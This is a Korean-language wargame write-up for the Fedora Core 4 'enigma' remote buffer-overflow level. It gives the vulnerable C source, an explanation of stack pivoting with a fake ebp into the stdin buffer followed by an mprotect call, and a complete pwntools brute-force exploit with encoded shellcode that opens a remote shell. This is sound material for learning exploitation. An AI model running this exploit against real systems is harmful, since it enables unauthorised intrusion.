Fedora Core 4 - Challenge [cruel -> enigma


[Summary]

1. fedora core 4 부터는 stdin의 주소가 랜덤으로 변경 된다. 하지만 gdb를 통해 몇 번 실행시켜보면 0xb7f3f000, 0xb7fe6000, 0xb7fe7000와 같이 특정 오프셋의 문자열만 변경되는 것을 확인할 수 있다. 

2. fake ebp를 이용하여 stdin buffer의 주소로 esp 레지스터를 변경하여 pop ebp, pop eip, jmp eip를 실행하여 null이 포함되어 있는 라이브러리를 실행할 수 있다. 이후에 mprotect 함수를 실행하여 stdin buffer의 값에 실행 권한을 주고 해당 주소로 jmp 하여 쉘코드를 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
        - port : TCP 7777
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(int canary,char *ptr)
{
	char buffer[256];
	int *ret;
        
	// stack overflow!!
	strcpy(buffer,ptr); 

	// overflow protected
	if(canary != 0x31337)
	{
		printf("who broke my canary?!");
		exit(1);
	}

	// preventing RTL
	ret = &canary - 1;
	if((*ret & 0xff000000) == 0) 
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing attack buffer
	memset(ptr, 0, 1024);

	return 0;
}

int main()
{
	char buffer[1024];

	printf("enigma : The brothers will be glad to have you!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food!
	fgets(buffer, 1024, stdin);

	// oops~!
	vuln(0x31337, buffer);
	
	// bye bye
	exit(0);
}


[Analysis] 

해당 문제에서는 canary가 나온다. canary가 ret 뒷 부분에 위치하고 값 또한 0x31337 이므로, null이 포함되어 있어 20행의 strcpy 함수를 실행하면 canary 부분까지만 복사하게 되므로 payload가 canary에서 짤리게 된다. 하지만 fgets 같은 함수는 stdin buffer에 null을 포함한 payload가 모두 남아 있는데 이를 이용하면 된다.

leave 명령을 다시 한번 더 실행하여 esp 레지스터를 변조할 수 있고, 이어 ebp에 특정 값을 넣을 수 있다. 또한 ret를 실행함으로써 esp 레지스터 주소에 있는 값으로 이동할 수 있다. 따라서 fake ebp 기법을 이용하여 stdin에 특정 메모리 영역에 있는 값을 실행할 수 있다. 이어 mprotect를 실행하여 메모리 특정 영역에 실행권한을 주고 해당 영역으로 jmp를 수행하면 쉘코드를 실행할 수 있다.

이 문제에서 변수는 stdin buffer의 주소가 유동적이라는 건데 0x00~0xff 범위이므로 브루트 포싱을 사용하여 문제를 해결할 수 있다.


[Exploit]

import time
from pwn import *

cnt = 0

while True:
	cnt += 1
	log.info("count : %d" % cnt)
	context(arch='i386',os='linux')

	p = remote("192.168.0.131", 7777)

	shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
	
	canary = 0x31337
	leave_ret = 0x0804858e
	stdin = 0xb7f5e000
	mprotect = 0x86d240

	payload = "\x90" * (260 - len(shellcode)) + shellcode
	payload += p32(stdin + 268)
	payload += p32(leave_ret)
	payload += p32(canary) 
	payload += p32(mprotect)
	payload += p32(stdin)
	payload += p32(stdin)
	payload += p32(1024)
	payload += p32(7)

	if __name__ == '__main__':
		p.sendline(payload)
		time.sleep(0.1)
		p.sendline('id')
		time.sleep(0.1)
		if "uid=" in p.recv(1024):
			log.info("Success!!")
			p.interactive()
		else:
			p.close()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


+ Recent posts